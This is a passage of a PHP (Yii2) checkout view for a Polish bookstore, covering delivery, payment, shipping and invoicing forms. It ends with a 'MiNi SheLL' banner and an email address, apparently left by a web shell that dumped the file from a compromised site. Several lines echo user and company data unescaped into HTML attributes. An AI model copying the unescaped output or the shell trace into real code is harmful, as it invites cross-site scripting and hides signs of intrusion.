                    <?php endforeach; ?>
                <?php endif; ?>
                
                <?php if(!empty($itemsSubscriptionsByCompanies[$modelCompany->id_company])): ?>
                    <?php foreach($itemsSubscriptionsByCompanies[$modelCompany->id_company] as $item): ?>
                                <tr> 
                                       <td>
                                            <div class="block-row">
                                            <?php if(!empty($item['image_url'])): ?>
                                                <a href="<?= Url::to(['ksiegarnia/pozycja', 'id' => $item['id_book'], 'slug' => SlugGenerator::generate($item['title'])]) ?>" target="_blank" rel="nofollow noopener noreferrer">
                                                    <img loading="lazy" class="mt1 mb1" width="65"  src="<?= $item['image_url'] ?>" alt="<?= Html::encode($item['title']) ?>">
                                                </a>
                                            <?php endif; ?>
                                                <div>
                                                    <p class="nomargin">
                                                       <?= Html::encode($item['title']) ?><br>
                                                       <small>Wersja: <?php if($item['or_electronic_version'] === 1): ?>elektroniczna<?php else: ?>papierowa<?php endif; ?></small><br>
                                                       <small class="gray"><?= $item['pcs'] ?> x <?= $item['price'] ?> zł</small>
                                                    </p>
                                                </div>
                                            </div>
                                       </td> 
                                       <td class="v-book-info text-right">
                                           <?php 
                                                $amount = ((float)$item['price'])*((int)$item['pcs']);
                                                $totalAmount += $amount;
                                                $amountParts = explode('.', number_format($amount, 2, '.', ''));
                                            ?>
                                           <var class="nomargin nowrap"><big><?= $amountParts[0] ?></big>,<?= $amountParts[1] ?> zł</var>
                                       </td> 
                                </tr>
                    <?php endforeach; ?>
                <?php endif; ?>
    
                    <tr> 
                         <th colspan="2" style="border-color: #FFF;"><b style="font-size:16px;">Wybierz sposób dostawy:</b></th> 
                    </tr>
                <?php if(!empty($modelsOrdersDeliveries[$modelCompany->id_company])): ?>
                    <?php 
                        $deliveryOptions = $priceListsForCompanies[$modelCompany->id_company]; 
                        $idCompany = $modelCompany->id_company;
                    ?>
                
                    <tr> 
                        <td colspan="2" style="border-color: #FFF;">
                        <?= $form->field($modelsOrdersDeliveries[$modelCompany->id_company], '['.$modelCompany->id_company.']deliveryOption', [
                            'enableClientValidation' => false, 'enableAjaxValidation' => true,
                            'template' => "<div class=\"\">{input}</div>\n{hint}\n{error}",
                            'options' => ['class' => '-form-group'],
                            'inputOptions' => ['class' => '']
                        ])->radioList(
                            $modelsOrdersDeliveries[$modelCompany->id_company]->getDeliveryOptionsList(),
                            [
                                'item' => function ($index, $label, $name, $checked, $value) use ($deliveryOptions, $idCompany) {               
                                    $output = '<div class="mb05">';
                                    $output .= '<input class="vjs-delivery-option" type="radio" id="c'.$idCompany.'-delivery-option-'.$value.'" name="'.$name.'" value="'.$value.'"'.($checked ? ' checked' : '').' data-delivery-method="'.$deliveryOptions[$value]['method'].'" data-cash-on-delivery="'.$deliveryOptions[$value]['or_cash_on_delivery'].'" data-id-company="'.$idCompany.'">';
                                    $output .= '<label for="c'.$idCompany.'-delivery-option-'.$value.'"></label> '.$label;
                                    $output .= '</div>';

                                    return $output;
                                }
                            ]
                        ) ?>
                        <?= Html::activeHiddenInput($modelsOrdersDeliveries[$modelCompany->id_company], '['.$modelCompany->id_company.']deliveryMethod', ['enableClientValidation' => false, 'enableAjaxValidation' => true,]) ?>
                            
                    <div id="select-pickup-point-container-<?= $idCompany ?>" style="display: none;" class="row">
                        <div class="col-sm-4">
                        <?= Html::button(Yii::t('backend', 'USTAW PUNKT ODBIORU'), ['class' => 'btn v-more vjs-select-pickup-point-button', 'data' => ['id-company' => $modelCompany->id_company, 'url' => Url::to(['ksiegarniakoszyk/wybierz-punkt-odbioru', 'order_type' => 'bookstore'])]]) ?>
                        <?= Html::button(Yii::t('backend', 'USTAW PUNKT ODBIORU'), ['id' => 'c'.$idCompany.'-select-pickup-point-ruch-all-button', 'class' => 'btn v-more']) ?>
                        <?= Html::button(Yii::t('backend', 'USTAW PUNKT ODBIORU'), ['id' => 'c'.$idCompany.'-select-pickup-point-ruch-cash-on-delivery-button', 'class' => 'btn v-more']) ?>
                        </div>
                        <div class="col-sm-3 col-xs-4">
                            <?= $form->field($modelsOrdersDeliveries[$modelCompany->id_company], '['.$modelCompany->id_company.']pickupPointCode', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 'template' => "{input}\n{label}\n{hint}\n{error}", 'options' => ['class' => '-col-md-2']])->textInput(['maxlength' => true, 'readonly' => true]) ?>
                        </div>
                        <div class="col-sm-5 col-xs-8">
                            <?= $form->field($modelsOrdersDeliveries[$modelCompany->id_company], '['.$modelCompany->id_company.']pickupPointAddress', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 'template' => "{input}\n{label}\n{hint}\n{error}", 'options' => ['class' => '-col-md-8']])->textInput(['maxlength' => true, 'readonly' => true]) ?>
                        </div>
                    </div>   
                        </td>
                    </tr>
                    <tr> 
                        <td colspan="2" style="border-color: #FFF;">
                            <?= $form->field($modelsOrdersDeliveries[$modelCompany->id_company], '['.$modelCompany->id_company.']messageForDealer', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 'options' => ['class' => 'col-md-12']])->textarea(['rows' => 3]) ?>
                        </td> 
                    </tr>
                <?php else: ?>
                    <tr> 
                        <td colspan="2" style="border-color: #FFF;">
                            Nie udało się automatycznie ustalić kompatybilnej dla całego zamówienia kosztów dostawy - sprzedawca skontaktuje się z Tobą po złożeniu zamówienia.
                        </td> 
                    </tr>
                <?php endif; ?>
        <?php endforeach; ?>
                    
                    </tbody> 
                </table>
                
                <h4><b style="font-weight: 800 !important;">Metoda płatności</b></h4>
                
                <style>
                    .v-radios .btn {
                        text-align: left;
                        background: transparent !important;
                        outline: none !important;
                        padding: 10px 5px;
                    }
                    .v-radios .btn.active {
                        box-shadow: #1bb826 0 0 0 2px;
                    }
                    @media(max-width:767px){
                        .btn-group-justified>.btn, .btn-group-justified>.btn-group {
                            display: block;
                            width: 100%;
                        }
                    }               
                </style>    
                
                <div class="btn-group btn-group-justified v-radios" data-toggle="buttons">
                    <label class="btn btn-default">
                        <input type="radio"> <img src="<?= Yii::$app->params['frontendBaseUrl'].'/images/payu/'; ?>visa.jpg" width="66" height="43" alt="visa"> karta płatnicza
                    </label>
                    <label class="btn btn-default">
                      <input type="radio"> <img src="<?= Yii::$app->params['frontendBaseUrl'].'/images/payu/'; ?>blik.jpg" width="66" height="43" alt="blik"> BLIK
                    </label>
                    <label class="btn btn-default active">
                      <input type="radio" checked> <img src="<?= Yii::$app->params['frontendBaseUrl'].'/images/payu/'; ?>mbank.jpg" width="66" height="43" alt="mbank"> szybki przelew
                    </label>
                </div>
                
                <small class="block mt1">Płatność obsługiwana przez PayU.</small>
                
                
            </div>
        </div>
    <?php endif; ?>
    
        <div class="row" style="border-top:4px solid red;margin-top:100px;">
            <div class="text-center strong portal-color mb1">Zamówienie składa</div>

            <?= $form->field($modelForm, 'or_company', [
                'template' => "<div class=\"col-sm-10 col-sm-push-1\">{input}</div>\n{hint}\n{error}",
                'options' => ['class' => 'form-group row'],
                'inputOptions' => ['class' => 'col-sm-10 col-sm-push-1']
            ])->radioList(
                [
                    '0' => 'osoba prywatna', 
                    '1' => 'firma'
                ],
                [
                    'item' => function ($index, $label, $name, $checked, $value) use($userData) {
                        $additionalClass = (intval($value) === 0) ? ' populate-form' : '';                    
                        $output = '<div>';
                        $output .= '<input type="radio" name="'.$name.'" value="'.$value.'" id="radio_is_asking_'.($index+1).'"'.($checked ? ' checked' : '').' class="radio'.$additionalClass.'"';
                        if(intval($value) === 0) {
                            $output .= 'data-field-forename="'.(!empty($userData['forename']) ? $userData['forename'] : '').'" '
                                        . 'data-field-surname="'.(!empty($userData['surname']) ? $userData['surname'] : '').'" '
                                        . 'data-field-email="'.(!empty($userData['email_1']) ? $userData['email_1'] : '').'" '
                                        . 'data-field-phone="'.(!empty($userData['phone_1']) ? $userData['phone_1'] : '').'" '
                                        . 'data-field-shipping_street="'.(!empty($userData['street']) ? $userData['street'] : '').'" '
                                        . 'data-field-shipping_building_number="'.(!empty($userData['building_number']) ? $userData['building_number'] : '').'" '
                                        . 'data-field-shipping_apartment_number="'.(!empty($userData['apartment_number']) ? $userData['apartment_number'] : '').'" '
                                        . 'data-field-shipping_postcode="'.(!empty($userData['postcode']) ? $userData['postcode'] : '').'" '
                                        . 'data-field-shipping_locality="'.(!empty($userData['locality']) ? $userData['locality'] : '').'" '
                                        . 'data-field-shipping_id_country="'.(!empty($userData['id_country']) ? $userData['id_country'] : '').'" '
                                        ;
                        }
                        $output .= '><label for="radio_is_asking_'.($index+1).'"></label> '.$label;
                        $output .= '</div>';

                        return $output;
                    }
                ]
            ) ?>

            <?php if(!empty($userCompaniesData)): ?>
                <?php if(empty($modelForm->id_company)) { $modelForm->id_company = ''; } ?>
                <?= $form->field($modelForm, 'id_company', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 
                    'template' => "<div class=\"col-sm-10 col-sm-push-1 only-company-field\">{input}</div>\n{hint}\n{error}",
                    'options' => ['class' => 'form-group row'],
                    'inputOptions' => ['class' => 'col-sm-10 col-sm-push-1']
                ])->radioList(
                    ArrayHelper::map($userCompaniesData, 'id_company', 'company_name') + ['' => 'Inna ...'],
                    [
                        'item' => function ($index, $label, $name, $checked, $value) use($userCompaniesData) {
                            $company = !empty($userCompaniesData[intval($value)]) ? $userCompaniesData[intval($value)] : null;
                            $output = '<div>';                                
                            $output .= '<input type="radio" name="'.$name.'" value="'.$value.'" id="radio_company_name_'.($index+1).'"'.($checked ? ' checked' : '').' class="radio populate-form" '
                                        . 'data-field-id_company="'.$value.'" ';
                            if(!empty($company)) {
                                $label = $company['company_name'];
                                $output .= 'data-field-invoicing_name="'.$company['company_name'].'" '
                                        . 'data-field-invoicing_tax_id="'.$company['tax_id'].'" '
                                        . 'data-field-forename="'.$company['forename'].'" '
                                        . 'data-field-surname="'.$company['surname'].'" '
                                        . 'data-field-email="'.$company['email_1'].'" '
                                        . 'data-field-phone="'.$company['phone_1'].'" '
                                        . 'data-field-shipping_street="'.$company['street'].'" '
                                        . 'data-field-shipping_building_number="'.$company['building_number'].'" '
                                        . 'data-field-shipping_apartment_number="'.$company['apartment_number'].'" '
                                        . 'data-field-shipping_postcode="'.$company['postcode'].'" '
                                        . 'data-field-shipping_locality="'.$company['locality'].'" '
                                        . 'data-field-shipping_id_country="'.$company['id_country'].'" '
                                        ;
                            }
                            $output .= '><label for="radio_company_name_'.($index+1).'"></label>';
                            $output .= ' '.$label;
                            $output .= '</div>';

                            return $output;
                        }
                    ]
                ) ?>                
            <?php endif; ?>

            <div class="text-center strong portal-color mb1">Dane do wysyłki</div>
            
            <div class="form-group row">
                <label for="bookstoreorderform-forename" class="col-sm-3 control-label required"><?= $modelForm->getAttributeLabel('forename') ?> i <?= $modelForm->getAttributeLabel('surname') ?>:</label>
                <?= $form->field($modelForm, 'forename', [
                    'options' => ['class' => 'col-sm-3'],
                    'enableLabel' => false
                ])->textInput(['maxlength' => true, 'placeholder' => 'Jan']) ?>
                <?= $form->field($modelForm, 'surname', [
                    'options' => ['class' => 'col-sm-4'],
                    'enableLabel' => false
                ])->textInput(['maxlength' => true, 'placeholder' => 'Kowalski']) ?>
            </div>

            <?= $form->field($modelForm, 'email', [
                'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                'options' => ['class' => 'form-group row'], 
                'labelOptions' => ['class' => 'col-sm-3 control-label required'],
            ])->textInput(['maxlength' => true]) ?>

            <?= $form->field($modelForm, 'phone', [
                'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                'options' => ['class' => 'form-group row'], 
                'labelOptions' => ['class' => 'col-sm-3 control-label required'],
            ])->textInput(['maxlength' => true]) ?> 
            
            <div class="form-group row">
                <label for="bookstoreorderform-shipping_id_country" class="col-sm-3 control-label required"><?= $modelForm->getAttributeLabel('shipping_id_country') ?>:</label>
                <?= $form->field($modelForm, 'shipping_id_country', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 
                    'options' => ['class' => 'col-sm-7'],
                    'enableLabel' => false
                ])->dropDownList($countriesList, ['class' => 'form-control selectpicker', 'data' => ['live-search' => true], 'title' => Yii::t('frontend', 'Wybierz...')]) ?>
            </div>

            <div class="form-group row">
                <label for="bookstoreorderform-shipping_postcode" class="col-sm-3 control-label required"><?= $modelForm->getAttributeLabel('shipping_postcode') ?>, <?= $modelForm->getAttributeLabel('shipping_locality') ?>:</label>
                <?= $form->field($modelForm, 'shipping_postcode', [
                    'options' => ['class' => 'col-sm-2'],
                    'enableLabel' => false
                ])->textInput(['maxlength' => true, 'placeholder' => '00-489']) ?>
                <?= $form->field($modelForm, 'shipping_locality', [
                    'options' => ['class' => 'col-sm-5'],
                    'enableLabel' => false
                ])->textInput(['maxlength' => true, 'placeholder' => 'Warszawa']) ?>
            </div>

            <div class="form-group row">
                <label for="bookstoreorderform-shipping_street" class="col-sm-3 control-label required"><?= Yii::t('frontend', 'Adres') ?>:</label>
                <?= $form->field($modelForm, 'shipping_street', [
                    'options' => ['class' => 'col-sm-5'],
                    'enableLabel' => false
                ])->textInput(['maxlength' => true, 'placeholder' => '']) ?>
                <?= $form->field($modelForm, 'shipping_building_number', [
                    'options' => ['class' => 'col-sm-1 nopadding after-content', 'title' => '/'],
                    'enableLabel' => false
                ])->textInput(['maxlength' => true, 'placeholder' => 'nr']) ?>
                <?= $form->field($modelForm, 'shipping_apartment_number', [
                    'options' => ['class' => 'col-sm-1'],
                    'enableLabel' => false
                ])->textInput(['maxlength' => true, 'placeholder' => '']) ?>
            </div> 
            
            <?= $form->field($modelForm, 'shipping_address_cont', [
                'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                'options' => ['class' => 'form-group row'], 
                'labelOptions' => ['class' => 'col-sm-3 control-label'],
            ])->textInput(['maxlength' => true]) ?>

            <?php 
                if(!empty($modelForm->id_company) && !empty($modelForm->or_company) && !empty($userCompaniesData[$modelForm->id_company]['addresses'])) {
                    $relatedAddressesCount = count($userCompaniesData[$modelForm->id_company]['addresses']);
                } elseif(!empty($modelForm->id_user) && empty($modelForm->or_company) && !empty($userData['addresses'])) {
                    $relatedAddressesCount = count($userData['addresses']);
                }
            ?>
            <div id="addresses-list"<?php if($relatedAddressesCount < 2): ?> style="display: none;"<?php endif; ?> class="form-group row">
                <label for="" class="col-sm-3 control-label">Zapisane adresy:</label>
                <div class="col-sm-1">
                    <div class="btn-group dropup">
                        <button type="button" class="btn btn-primary dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                        Wybierz &nbsp; <span class="caret"></span>
                        </button>  
                        <ul class="dropdown-menu">
                            <?php if(!empty($userData['addresses']) && count($userData['addresses']) > 1): ?>
                                <?php foreach($userData['addresses'] as $address): ?>
                                    <li data-owner="u"<?php if(!empty($modelForm->or_company)): ?> style="display: none;"<?php endif; ?>>
                                        <a style="cursor: pointer;">
                                            <span data-field="shipping_street"><?= $address['street'] ?></span> 
                                            <span data-field="shipping_building_number"><?= $address['building_number'] ?></span><?php if(!empty($address['apartment_number'])): ?>/<span data-field="apartment_number"><?= $address['apartment_number'] ?></span><?php endif; ?> 
                                            <span data-field="shipping_postcode"><?= $address['postcode'] ?></span> <span data-field="locality"><?= $address['locality'] ?></span><br>
                                            <span style="display: none;" data-field="id_country"><?= $address['id_country'] ?></span><?php if($address['id_country'] !== 'PL'): ?>, <?= $address['country_name'] ?><?php endif; ?>
                                        </a>
                                    </li>
                                <?php endforeach; ?>
                            <?php endif; ?>

                            <?php if(!empty($userCompaniesData)): ?>  
                                <?php foreach($userCompaniesData as $idCompany => $userCompanyData): ?>
                                    <?php if(count($userCompanyData['addresses']) > 1): ?>
                                        <?php foreach($userCompanyData['addresses'] as $address): ?>
                                            <li data-owner="c<?= $idCompany ?>"<?php if(empty($modelForm->or_company) || $idCompany !== $modelForm->id_company): ?> style="display: none;"<?php endif; ?>>
                                                <a style="cursor: pointer;">
                                                    <span data-field="shipping_street"><?= $address['street'] ?></span> 
                                                    <span data-field="shipping_building_number"><?= $address['building_number'] ?></span><?php if(!empty($address['apartment_number'])): ?>/<span data-field="apartment_number"><?= $address['apartment_number'] ?></span><?php endif; ?> 
                                                    <span data-field="shipping_postcode"><?= $address['postcode'] ?></span> <span data-field="locality"><?= $address['locality'] ?></span><br>
                                                    <span data-field="shipping_region"><?= $address['region'] ?></span><span style="display: none;" data-field="id_country"><?= $address['id_country'] ?></span><?php if($address['id_country'] !== 'PL'): ?>, <?= $address['country_name'] ?><?php endif; ?>
                                                </a>
                                            </li>
                                        <?php endforeach; ?>
                                    <?php endif; ?>
                                <?php endforeach; ?>
                            <?php endif; ?>
                        </ul>
                    </div>
                </div>
            </div>
            
            <?= $form->field($modelForm, 'or_invoice', ['options' => ['class' => 'form-group row']])->begin(); ?>
                <label for="" class="col-sm-3 control-label"></label>
                <div class="col-sm-7" style="margin-top: 6px;">
                    <?= Html::checkbox('BookstoreOrderForm[or_invoice]', $modelForm->or_invoice ? true : false, ['id' => 'bookstoreorderform-or_invoice', 'class' => 'check']) ?>
                    <label for="bookstoreorderform-or_invoice"><?= $modelForm->getAttributeLabel('or_invoice') ?></label>                    
                    <?= Html::error($modelForm, 'or_invoice', ['tag' => 'p', 'class' => 'help-block help-block-error']); ?>
                </div>
            <?= $form->field($modelForm, 'or_invoice')->end(); ?>
                
            <div id="invoicing-data">
                <div class="text-center strong portal-color mb1">Dane do rachunku/faktury.</div>

                <span id="copy-data-from-shipping-data-button" class="btn btn-default">Skopiuj z danych do wysyłki</span>

                <?= $form->field($modelForm, 'invoicing_name', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->textInput(['maxlength' => true]) ?>    

                <?= $form->field($modelForm, 'invoicing_tax_id', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label vjs-tax-id-label'.(intval($modelForm->or_company) === 1 ? ' required' : '')],
                ])->textInput(['maxlength' => true]) ?>  

                <div class="form-group row">
                    <label for="bookstoreorderform-invoicing_id_country" class="col-sm-3 control-label required"><?= $modelForm->getAttributeLabel('invoicing_id_country') ?>:</label>
                    <?= $form->field($modelForm, 'invoicing_id_country', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 
                        'options' => ['class' => 'col-sm-7'],
                        'enableLabel' => false
                    ])->dropDownList($countriesList, ['class' => 'form-control selectpicker', 'data' => ['live-search' => true], 'title' => Yii::t('frontend', 'Wybierz...')]) ?>
                </div>

                <div class="form-group row">
                    <label for="bookstoreorderform-invoicing_postcode" class="col-sm-3 control-label required"><?= $modelForm->getAttributeLabel('invoicing_postcode') ?>, <?= $modelForm->getAttributeLabel('shipping_locality') ?>:</label>
                    <?= $form->field($modelForm, 'invoicing_postcode', [
                        'options' => ['class' => 'col-sm-2'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => '00-489']) ?>
                    <?= $form->field($modelForm, 'invoicing_locality', [
                        'options' => ['class' => 'col-sm-5'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => 'Warszawa']) ?>
                </div>

                <div class="form-group row">
                    <label for="bookstoreorderform-invoicing_street" class="col-sm-3 control-label required"><?= Yii::t('frontend', 'Adres') ?>:</label>
                    <?= $form->field($modelForm, 'invoicing_street', [
                        'options' => ['class' => 'col-sm-5'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => '']) ?>
                    <?= $form->field($modelForm, 'invoicing_building_number', [
                        'options' => ['class' => 'col-sm-1 nopadding after-content', 'title' => '/'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => 'nr']) ?>
                    <?= $form->field($modelForm, 'invoicing_apartment_number', [
                        'options' => ['class' => 'col-sm-1'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => '']) ?>
                </div> 
            </div>
            
            <div class="text-center strong portal-color mb1">Weryfikacja</div>

            <?php if(empty($modelForm->id_user)): ?>
                <?= $form->field($modelForm, 'captcha', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>\n{hint}",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->widget(Captcha::className(), [
                    'captchaAction' => 'ksiegarniakoszyk/captcha',
                    'template' => '<div class="row"><div class="col-sm-4">{image}</div><div class="col-sm-8">{input}</div></div>'
                ]); ?>
            <?php endif; ?>

            <?= $form->field($modelForm, 'accept_rules', ['options' => ['class' => 'form-group row']])->begin(); ?>
                <label for="" class="col-sm-3 control-label"></label>
                <div class="col-sm-7" style="margin-top: 6px;">
                    <?= Html::checkbox('BookstoreOrderForm[accept_rules]', $modelForm->accept_rules ? true : false, ['id' => 'bookstoreorderform-accept_rules', 'class' => 'check']) ?>
                    <label for="bookstoreorderform-accept_rules"></label>
                    Wysłanie zapytania oznacza akceptację <a href="<?= Yii::$app->params['frontendBaseUrl'].'/attachments/'; ?>Portale_Vertica_Regulamin.pdf" target="_blank"><strong>regulaminu</strong></a>.
                    <?= Html::error($modelForm, 'accept_rules', ['tag' => 'p', 'class' => 'help-block help-block-error']); ?>
                </div>
            <?= $form->field($modelForm, 'accept_rules')->end(); ?>

            <div class="form-group row">
                <div class="col-sm-6 col-sm-push-3">
                    <button class="form-control btn btn-default btn-glyph noradius">
                        <span class="pull-left"><span class="glyphicon glyphicon-send" aria-hidden="true"></span></span>
                        <span class="text-left"><strong>Złóż zamówienie</strong></span>
                    </button>                      
                </div>
            </div>
        </div>
    
    <?php ActiveForm::end(); ?>
            
            <div class="clearfix"></div>
            
            
        </div>
        <div class="col-md-3 pt08 tab-right stick">
            <h2 class="header portal-color portal-light-background">
                <span class="portal-border"><?= Yii::t('frontend', 'Podsumowanie') ?></span>
            </h2>  
            
            <div class="v-form v-book-info full">
                <div class="block text-right mt1">
                    <p class="nomargin block text-left">Wartość przedmiotów<span class="pull-right">0,00 zł</span></p>
                    <p class="nomargin block text-left">Dostawa<span class="pull-right">0,00 zł</span></p>
                    <hr>
                    <small>DO ZAPŁATY</small>
                    <?php
                        $amountParts = explode('.', number_format($totalAmount, 2, '.', ''));
                    ?>
                    <var class="nomargin nowrap inline"><big style="font-size:25px;"><?= $amountParts[0] ?></big>,<?= $amountParts[1] ?> zł</var>
                </div>
                <a href="#" class="btn btn-orange form-control mt1 mb1">KUPUJĘ i PŁACĘ</a>
                <small>Klikając w ten przycisk potwierdzasz zakup. Zostaniesz przekierowany na stronę Twojego banku.</small>
            </div>
                    
        </div>          
        
    </div>
</div>

Creat By MiNi SheLL
Email: jattceo@gmail.com